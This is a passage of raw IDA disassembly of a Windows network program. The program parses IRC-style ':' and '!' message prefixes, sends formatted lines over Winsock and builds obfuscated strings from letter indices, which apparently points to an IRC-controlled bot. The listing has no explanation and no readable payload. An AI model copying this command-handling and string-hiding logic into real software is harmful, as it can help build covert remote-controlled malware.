byte ptr [esp+2Ch+arg_246C], 25h call sub_4016AE mov ecx, eax mov byte ptr [esp+20h+arg_246C], 26h call sub_4017E4 push eax lea ecx, [esp+24h+arg_25C] call sub_401861 lea ecx, [esp+20h+arg_1FC] mov byte ptr [esp+20h+arg_246C], 29h call sub_401226 lea ecx, [esp+20h+arg_22C] mov byte ptr [esp+20h+arg_246C], 28h call sub_401226 mov ecx, offset byte_44741D mov [ebp+16h], bl call sub_4017E4 push eax mov ecx, offset dword_4473D4 call sub_4017E4 mov edx, dword_4470F4 push eax push edx push offset aSSS_0 ; "%s %s %s\r\n" push ebp call sub_401E0B add esp, 14h lea ecx, [esp+20h+arg_25C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_411327 ; --------------------------------------------------------------------------- loc_410FB0: ; CODE XREF: sub_40FF60+EC7j push offset asc_443600 ; " " lea eax, [esp+24h+arg_28C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_447110 mov byte ptr [esp+20h+arg_246C], 2Ah push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_28C] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_411168 push offset asc_443C84 ; ":" lea edx, [esp+24h+arg_2EC] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset asc_443C78 ; "!" lea ecx, [esp+24h+arg_2BC] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 2Bh call sub_4016AE mov ecx, eax mov byte ptr [esp+20h+arg_246C], 2Ch call sub_4017E4 push eax lea ecx, [esp+24h+arg_34] call sub_401861 lea ecx, [esp+20h+arg_2BC] mov byte ptr [esp+20h+arg_246C], 2Fh call sub_401226 lea ecx, [esp+20h+arg_2EC] mov byte ptr [esp+20h+arg_246C], 2Eh call sub_401226 push offset asc_443C74 ; " :" lea ecx, [esp+24h+var_8] call sub_4014D3 mov esi, dword_50FAF8 push eax call esi add esp, 8 test eax, eax jz loc_411153 push offset asc_443C74 ; " :" lea ecx, [esp+24h+var_8] call sub_4014D3 push eax call esi add esp, 8 lea ecx, [esp+20h+arg_64] push eax call sub_401861 push offset byte_446F60 lea ecx, [esp+24h+arg_34] mov byte ptr [esp+24h+arg_246C], 30h call sub_4012EE test eax, eax jz short loc_41113F push offset byte_446F60 lea ecx, [esp+24h+arg_64] call sub_4012EE test eax, eax jz short loc_41113F sub esp, 18h lea edx, [esp+38h+arg_34] mov ecx, esp mov [esp+38h+arg_C], esp push edx call sub_4014C9 mov ecx, offset word_448C8E call sub_401CD0 cmp eax, ebx jz short loc_41111B lea ecx, [esp+20h+arg_64] push ecx lea ecx, [eax+19h] call sub_401FBE loc_41111B: ; CODE XREF: sub_40FF60+11A9j push offset byte_4E6E75 lea ecx, [esp+24h+arg_34] call sub_401B72 test eax, eax jnz short loc_41113F lea edx, [esp+20h+arg_64] mov ecx, offset byte_4E6E75 push edx call sub_401FBE loc_41113F: ; CODE XREF: sub_40FF60+1173j ; sub_40FF60+1188j ... lea ecx, [esp+20h+arg_64] mov byte ptr [esp+20h+arg_246C], 2Eh call sub_401226 loc_411153: ; CODE XREF: sub_40FF60+1134j lea ecx, [esp+20h+arg_34] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_411327 ; --------------------------------------------------------------------------- loc_411168: ; CODE XREF: sub_40FF60+109Cj push offset asc_443600 ; " " lea eax, [esp+24h+arg_34C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_447120 mov byte ptr [esp+20h+arg_246C], 31h push ecx mov ecx, eax call sub_4012EE test eax, eax jz short loc_4111EF push offset asc_443600 ; " " lea edx, [esp+24h+arg_31C] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_447130 mov byte ptr [esp+20h+arg_246C], 32h push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_31C] mov byte ptr [esp+20h+arg_246C], 31h setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] mov [esp+20h+var_D], bl cmp al, bl jz short loc_4111F4 loc_4111EF: ; CODE XREF: sub_40FF60+1238j mov [esp+20h+var_D], 1 loc_4111F4: ; CODE XREF: sub_40FF60+128Dj lea ecx, [esp+20h+arg_34C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz loc_411327 push offset asc_443C84 ; ":" lea edx, [esp+24h+arg_37C] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE sub esp, 18h mov byte ptr [esp+38h+arg_246C], 33h mov ecx, esp mov [esp+38h+arg_C], esp push offset asc_443C78 ; "!" push ebx push ecx mov ecx, eax call sub_4016AE mov ecx, offset word_448C8E call sub_401CD0 lea ecx, [esp+20h+arg_37C] mov esi, eax mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp esi, ebx jz loc_411327 push offset asc_443C84 ; ":" lea edx, [esp+24h+arg_3DC] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE sub esp, 18h mov byte ptr [esp+38h+arg_246C], 34h mov ecx, esp mov [esp+38h+arg_C], esp push offset asc_443C78 ; "!" push ebx push ecx mov ecx, eax call sub_4016AE push offset asc_443C84 ; ":" lea edx, [esp+3Ch+arg_3AC] push 1 push edx lea ecx, [esp+44h+var_8] mov byte ptr [esp+44h+arg_246C], 35h call sub_4016AE sub esp, 18h mov byte ptr [esp+50h+arg_246C], 36h mov ecx, esp mov [esp+50h+var_C], esp push offset asc_443C78 ; "!" push ebx push ecx mov ecx, eax call sub_4016AE mov ecx, offset word_448C8E mov byte ptr [esp+50h+arg_246C], 37h call sub_40210D lea ecx, [esp+20h+arg_3AC] mov byte ptr [esp+20h+arg_246C], 34h call sub_401226 lea ecx, [esp+20h+arg_3DC] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp short loc_411327 ; --------------------------------------------------------------------------- loc_411320: ; CODE XREF: sub_40FF60+391j mov ecx, ebp call sub_401D0C loc_411327: ; CODE XREF: sub_40FF60+1D3j ; sub_40FF60+253j ... cmp [ebp+17h], bl jnz loc_40FFA2 loc_411330: ; CODE XREF: sub_40FF60+3Cj ; sub_40FF60+4Fj lea ecx, [esp+20h+var_8] mov [esp+20h+arg_246C], 0FFFFFFFFh call sub_401226 mov ecx, [esp+20h+arg_2464] pop edi pop esi pop ebp xor eax, eax mov large fs:0, ecx pop ebx add esp, 2484h retn sub_40FF60 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h db 500h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411860 proc near ; CODE XREF: sub_4010BEj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_411860 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E6A lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_402054 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E038 mov dword ptr [esi+11h], 0 mov byte ptr [esi+0ABh], 0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_411860 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4118E0: ; CODE XREF: ___:loc_40115Ej ; ___:004016EAj push esi mov esi, ecx call sub_40101E test byte ptr [esp+8], 1 jz short loc_4118F8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_4118F8: ; CODE XREF: ___:004118EDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411910 proc near ; CODE XREF: sub_40101Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_411910 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43E038 lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_40196A mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_402031 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_411910 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411990 proc near ; CODE XREF: sub_402054j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_411990 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401424 lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401424 lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_401424 lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_401424 lea ecx, [esi+54h] mov byte ptr [esp+14h+var_4], 3 call sub_401424 lea ecx, [esi+69h] mov byte ptr [esp+14h+var_4], 4 call sub_401424 lea ecx, [esi+7Eh] mov byte ptr [esp+14h+var_4], 5 call sub_401424 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_411990 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411A50 proc near ; CODE XREF: sub_40196Aj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_411A50 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+7Eh] mov [esp+14h+var_4], 5 call sub_401226 lea ecx, [esi+69h] mov byte ptr [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+54h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+15h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_411A50 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411B10 proc near ; CODE XREF: sub_4019D3j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_40196A test [esp+4+arg_0], 1 jz short loc_411B28 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_411B28: ; CODE XREF: sub_411B10+Dj mov eax, esi pop esi retn 4 sub_411B10 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_411B40 proc near ; CODE XREF: sub_401A0Aj var_3C = byte ptr -3Ch var_4 = dword ptr -4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_411B40 push eax mov large fs:0, esp sub esp, 30h push ebx push esi mov esi, ecx push edi test esi, esi jz short loc_411B66 lea edi, [esi+11h] jmp short loc_411B68 ; --------------------------------------------------------------------------- loc_411B66: ; CODE XREF: sub_411B40+1Fj xor edi, edi loc_411B68: ; CODE XREF: sub_411B40+24j push 0 push 17h push 1 push 12h push 4Fh lea eax, [esp+5Ch+var_3C] push 9 push eax call sub_4019B5 add esp, 1Ch push edi mov ecx, eax mov [esp+4Ch+var_4], 0 call sub_4017E4 lea ecx, [esi+250h] push eax push ecx mov ecx, offset dword_447148 call sub_401591 sub_411B40 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411BBC lea ebx, [esi+11h] jmp short loc_411BBE ; --------------------------------------------------------------------------- loc_411BBC: ; CODE XREF: ___:00411BB5j xor ebx, ebx loc_411BBE: ; CODE XREF: ___:00411BBAj push 0 push 14h push 3 push 5 push 0Eh push 0Eh push 0Fh push 3 push 5 push 12h push 4Fh lea edx, [esp+38h] push 9 push edx call sub_4019B5 add esp, 34h push ebx mov ecx, eax mov dword ptr [esp+48h], 1 call sub_4017E4 push eax lea eax, [esi+27Eh] push eax mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411C1B lea ebx, [esi+11h] jmp short loc_411C1D ; --------------------------------------------------------------------------- loc_411C1B: ; CODE XREF: ___:00411C14j xor ebx, ebx loc_411C1D: ; CODE XREF: ___:00411C19j push 0 push 14h push 12h push 1 push 10h push 4Fh lea ecx, [esp+24h] push 9 push ecx call sub_4019B5 add esp, 20h push ebx mov ecx, eax mov dword ptr [esp+48h], 2 call sub_4017E4 lea edx, [esi+1C6h] push eax push edx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411C70 lea ebx, [esi+11h] jmp short loc_411C72 ; --------------------------------------------------------------------------- loc_411C70: ; CODE XREF: ___:00411C69j xor ebx, ebx loc_411C72: ; CODE XREF: ___:00411C6Ej push 0 push 5 push 4 push 0Fh push 0Dh push 4Fh lea eax, [esp+24h] push 9 push eax call sub_4019B5 add esp, 20h push ebx mov ecx, eax mov dword ptr [esp+48h], 3 call sub_4017E4 lea ecx, [esi+16Ah] push eax push ecx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411CC5 lea ebx, [esi+11h] jmp short loc_411CC7 ; --------------------------------------------------------------------------- loc_411CC5: ; CODE XREF: ___:00411CBEj xor ebx, ebx loc_411CC7: ; CODE XREF: ___:00411CC3j push 0 push 7 push 13h push 0Dh push 4Fh lea edx, [esp+20h] push 9 push edx call sub_4019B5 add esp, 1Ch push ebx mov ecx, eax mov dword ptr [esp+48h], 4 call sub_4017E4 push eax lea eax, [esi+1F4h] push eax mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411D18 lea ebx, [esi+11h] jmp short loc_411D1A ; --------------------------------------------------------------------------- loc_411D18: ; CODE XREF: ___:00411D11j xor ebx, ebx loc_411D1A: ; CODE XREF: ___:00411D16j push 0 push 5 push 3 push 9 push 14h push 0Fh push 0Eh push 4Fh lea ecx, [esp+2Ch] push 9 push ecx call sub_4019B5 add esp, 28h push ebx mov ecx, eax mov dword ptr [esp+48h], 5 call sub_4017E4 lea edx, [esi+0B2h] push eax push edx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411D71 lea ebx, [esi+11h] jmp short loc_411D73 ; --------------------------------------------------------------------------- loc_411D71: ; CODE XREF: ___:00411D6Aj xor ebx, ebx loc_411D73: ; CODE XREF: ___:00411D6Fj push 0 push 14h push 3 push 5 push 0Eh push 0Eh push 0Fh push 3 push 13h push 9 push 4 push 4Fh lea eax, [esp+3Ch] push 9 push eax call sub_4019B5 add esp, 38h push ebx mov ecx, eax mov dword ptr [esp+48h], 6 call sub_4017E4 lea ecx, [esi+56h] push eax push ecx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411DCF lea ebx, [esi+11h] jmp short loc_411DD1 ; --------------------------------------------------------------------------- loc_411DCF: ; CODE XREF: ___:00411DC8j xor ebx, ebx loc_411DD1: ; CODE XREF: ___:00411DCDj push 0 push 14h push 13h push 0Fh push 8 push 14h push 5 push 7 push 4Fh lea edx, [esp+30h] push 9 push edx call sub_4019B5 add esp, 2Ch push ebx mov ecx, eax mov dword ptr [esp+48h], 7 call sub_4017E4 push eax lea eax, [esi+10Eh] push eax mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411E2A lea ebx, [esi+11h] jmp short loc_411E2C ; --------------------------------------------------------------------------- loc_411E2A: ; CODE XREF: ___:00411E23j xor ebx, ebx loc_411E2C: ; CODE XREF: ___:00411E28j push 0 push 0Fh push 6 push 0Eh push 9 push 14h push 5 push 0Eh push 4Fh lea ecx, [esp+30h] push 9 push ecx call sub_4019B5 add esp, 2Ch push ebx mov ecx, eax mov dword ptr [esp+48h], 8 call sub_4017E4 lea edx, [esi+198h] push eax push edx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411E85 lea ebx, [esi+11h] jmp short loc_411E87 ; --------------------------------------------------------------------------- loc_411E85: ; CODE XREF: ___:00411E7Ej xor ebx, ebx loc_411E87: ; CODE XREF: ___:00411E83j push 0 push 0Eh push 9 push 0Fh push 0Ah push 4Fh lea eax, [esp+3Ch] push 9 push eax call sub_4019B5 add esp, 20h push ebx mov ecx, eax mov dword ptr [esp+48h], 9 call sub_4017E4 add esi, 13Ch push eax push esi mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+44h], edi call sub_401226 mov ecx, [esp+3Ch] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 0F0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411FE0 proc near ; CODE XREF: sub_401AB9j var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_411FE0 push eax mov large fs:0, esp sub esp, 78h push ebx push ebp push esi mov esi, [esp+90h+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+45h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jz loc_412509 lea ecx, [edi+26Dh] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jz loc_412509 lea ecx, [edi+0A1h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_4120E2 push offset asc_443600 ; " " lea eax, [esp+98h+var_6C] push 2 push eax mov ecx, esi call sub_4016AE mov ebp, eax push offset asc_443600 ; " " lea ecx, [esp+98h+var_84] push 1 xor ebx, ebx push ecx mov ecx, esi mov [esp+0A0h+var_4], ebx call sub_4016AE mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 1 call sub_4017E4 push eax mov ecx, esi call sub_4017E4 mov edx, dword_4470F0 push eax push edx add edi, 0FFFFFFEFh push offset dword_443CDC push edi call sub_401E0B add esp, 14h lea ecx, [esp+94h+var_84] mov byte ptr [esp+94h+var_4], bl call sub_401226 lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412532 ; --------------------------------------------------------------------------- loc_4120E2: ; CODE XREF: sub_411FE0+70j lea ecx, [edi+187h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_412159 add edi, 0FFFFFFEFh lea eax, [esp+94h+var_6C] push eax mov ecx, edi call sub_401D39 mov ecx, eax mov [esp+94h+var_4], 2 call sub_4017E4 push eax push offset aS ; "%s" lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push edi call sub_401848 add esp, 18h lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412532 ; --------------------------------------------------------------------------- loc_412159: ; CODE XREF: sub_411FE0+117j lea ecx, [edi+0FDh] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_412214 push offset asc_443600 ; " " lea eax, [esp+98h+var_6C] push 1 push eax mov ecx, esi call sub_4016AE push eax lea ecx, [edi+17h] mov [esp+98h+var_4], 3 call sub_4018A2 or ebp, 0FFFFFFFFh lea ecx, [esp+94h+var_6C] mov ebx, eax mov [esp+94h+var_4], ebp call sub_401226 test ebx, ebx jz loc_412532 lea ecx, [esp+94h+var_6C] add edi, 0FFFFFFEFh push ecx mov ecx, edi call sub_401D39 mov ecx, eax mov [esp+94h+var_4], 4 call sub_4017E4 push eax push offset aS ; "%s" lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push edi call sub_401848 add esp, 18h lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], ebp call sub_401226 jmp loc_412532 ; --------------------------------------------------------------------------- loc_412214: ; CODE XREF: sub_411FE0+18Ej lea ecx, [edi+12Bh] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_4122BD push offset asc_443600 ; " " lea ecx, [esp+98h+var_84] push 2 push ecx mov ecx, esi call sub_4016AE mov ebp, eax push offset asc_443600 ; " " lea edx, [esp+98h+var_6C] mov ebx, 5 push 1 push edx mov ecx, esi mov [esp+0A0h+var_4], ebx call sub_4016AE mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 6 call sub_4017E4 push eax mov ecx, esi call sub_4017E4 push eax mov eax, dword_4470F4 push eax add edi, 0FFFFFFEFh push offset aSSS_0 ; "%s %s %s\r\n" push edi call sub_401E0B add esp, 14h lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], bl call sub_401226 lea ecx, [esp+94h+var_84] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412532 ; --------------------------------------------------------------------------- loc_4122BD: ; CODE XREF: sub_411FE0+249j lea ecx, [edi+1B5h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41232B push offset asc_443600 ; " " lea ecx, [esp+98h+var_6C] push 1 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+94h+var_4], 7 call sub_4017E4 mov edx, dword_447120 push eax push edx add edi, 0FFFFFFEFh push offset aSS_0 ; "%s %s\r\n" push edi call sub_401E0B add esp, 10h lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412532 ; --------------------------------------------------------------------------- loc_41232B: ; CODE XREF: sub_411FE0+2F2j lea ecx, [edi+23Fh] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41238D lea eax, [esp+94h+var_6C] push 9 push eax mov ecx, esi call sub_401E2E mov ecx, eax mov [esp+94h+var_4], 8 call sub_4017E4 push eax add edi, 0FFFFFFEFh push offset dword_443CD4 push edi call sub_401E0B add esp, 0Ch lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412532 ; --------------------------------------------------------------------------- loc_41238D: ; CODE XREF: sub_411FE0+360j lea ecx, [edi+1E3h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41242D push offset asc_443600 ; " " lea ecx, [esp+98h+var_84] push 1 push ecx mov ecx, esi call sub_4016AE mov ebp, eax push 1 push offset asc_443600 ; " " lea edx, [esp+9Ch+var_6C] push 2 push edx mov ecx, esi mov [esp+0A4h+var_4], 9 call sub_4011EA mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 0Ah call sub_4014D3 push eax mov ecx, esi call sub_4014D3 xor ebx, ebx push eax push ebx push ebx lea ecx, [edi-11h] call sub_401118 lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 9 call sub_401226 lea ecx, [esp+94h+var_84] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412532 ; --------------------------------------------------------------------------- loc_41242D: ; CODE XREF: sub_411FE0+3C2j lea ecx, [edi+159h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_412532 push offset asc_443600 ; " " lea eax, [esp+98h+var_24] push 3 push eax mov ecx, esi call sub_4016AE mov ebp, eax push offset asc_443600 ; " " lea ecx, [esp+98h+var_3C] push 2 push ecx mov ecx, esi mov [esp+0A0h+var_4], 0Bh call sub_4016AE mov ebx, eax push offset asc_443600 ; " " lea edx, [esp+98h+var_54] push 1 push edx mov ecx, esi mov byte ptr [esp+0A0h+var_4], 0Ch call sub_4016AE mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 0Dh call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax mov ecx, esi call sub_4017E4 push eax mov eax, dword_447124 push eax add edi, 0FFFFFFEFh push offset dword_443CC4 push edi call sub_401E0B add esp, 18h lea ecx, [esp+94h+var_54] mov byte ptr [esp+94h+var_4], 0Ch call sub_401226 lea ecx, [esp+94h+var_3C] mov byte ptr [esp+94h+var_4], 0Bh call sub_401226 lea ecx, [esp+94h+var_24] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp short loc_412532 ; --------------------------------------------------------------------------- loc_412509: ; CODE XREF: sub_411FE0+3Aj ; sub_411FE0+55j xor ebx, ebx mov [edi+0Fh], ebx mov [edi+0Bh], ebx mov [edi+5], bl mov [edi+4], bl mov ecx, [edi+7] push ecx call near ptr 71AB9639h nop mov ecx, offset word_448C8E mov dword ptr [edi+7], 0FFFFFFFFh call sub_401537 loc_412532: ; CODE XREF: sub_411FE0+FDj ; sub_411FE0+174j ... mov ecx, [esp+94h+var_C] pop edi pop esi pop ebp xor al, al pop ebx mov large fs:0, ecx add esp, 84h retn 4 sub_411FE0 endp ; --------------------------------------------------------------------------- db 90h db 160h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4126B0 proc near ; CODE XREF: sub_401D39j var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_4126B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 40h push esi mov esi, ecx lea ecx, [esp+50h+var_24] mov [esp+50h+var_48], 0 call sub_401424 xor eax, eax lea ecx, [esp+50h+var_4C] mov [esp+50h+var_44], eax lea edx, [esp+50h+var_44] mov [esp+50h+var_40], eax push ecx mov [esp+54h+var_3C], eax push edx mov [esp+58h+var_38], eax mov eax, [esi+18h] push eax mov [esp+5Ch+var_4], 1 mov [esp+5Ch+var_4C], 10h nop call near ptr 71AB951Eh mov ecx, [esp+50h+var_40+3] mov edx, [esp+50h+var_40+2] mov eax, [esp+50h+var_40+1] and ecx, 0FFh push ecx mov ecx, [esp+54h+var_40] and edx, 0FFh and eax, 0FFh push edx and ecx, 0FFh push eax push ecx lea edx, [esp+60h+var_34] push offset aD_D_D_D ; "%d.%d.%d.%d" push edx nop call near ptr byte_5EA1BD add esp, 18h lea ecx, [esp+50h+var_24] push offset byte_446F60 call sub_4015D7 push offset dword_443D08 lea ecx, [esp+54h+var_24] call sub_401A9B lea eax, [esp+50h+var_34] lea ecx, [esp+50h+var_24] push eax call sub_401A9B push offset dword_443D04 lea ecx, [esp+54h+var_24] call sub_401A9B add esi, 28h lea ecx, [esp+50h+var_24] push esi call sub_4016BD push offset dword_443D04 lea ecx, [esp+54h+var_24] call sub_401A9B lea ecx, [esp+50h+var_34] push ecx call sub_401479 add esp, 4 test al, al jz short loc_4127BB push offset dword_443CF8 jmp short loc_4127C0 ; --------------------------------------------------------------------------- loc_4127BB: ; CODE XREF: sub_4126B0+102j push offset dword_443CEC loc_4127C0: ; CODE XREF: sub_4126B0+109j lea ecx, [esp+54h+var_24] call sub_401A9B mov esi, [esp+50h+arg_0] lea edx, [esp+50h+var_24] push edx mov ecx, esi call sub_4014C9 mov [esp+50h+var_48], 1 lea ecx, [esp+50h+var_24] mov byte ptr [esp+50h+var_4], 0 call sub_401226 mov ecx, [esp+50h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 4Ch retn 4 sub_4126B0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412870 proc near ; CODE XREF: sub_401582j arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] push esi mov esi, ecx push edi mov edi, ebp or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov eax, [esi+18h] push 0 not ecx dec ecx push ecx push ebp push eax nop call near ptr 71AB428Ah mov edx, eax mov edi, ebp or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx cmp edx, ecx jnb short loc_4128CE mov [esi+16h], al mov [esi+15h], al mov eax, [esi+18h] push eax nop call near ptr 71AB9639h mov ecx, offset word_448C8E mov dword ptr [esi+18h], 0FFFFFFFFh call sub_401537 pop edi pop esi xor al, al pop ebp retn 4 ; --------------------------------------------------------------------------- loc_4128CE: ; CODE XREF: sub_412870+33j pop edi pop esi mov al, 1 pop ebp retn 4 sub_412870 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412900 proc near ; CODE XREF: sub_401E0Bj arg_2000 = dword ptr 2004h arg_2004 = dword ptr 2008h arg_2008 = byte ptr 200Ch mov eax, 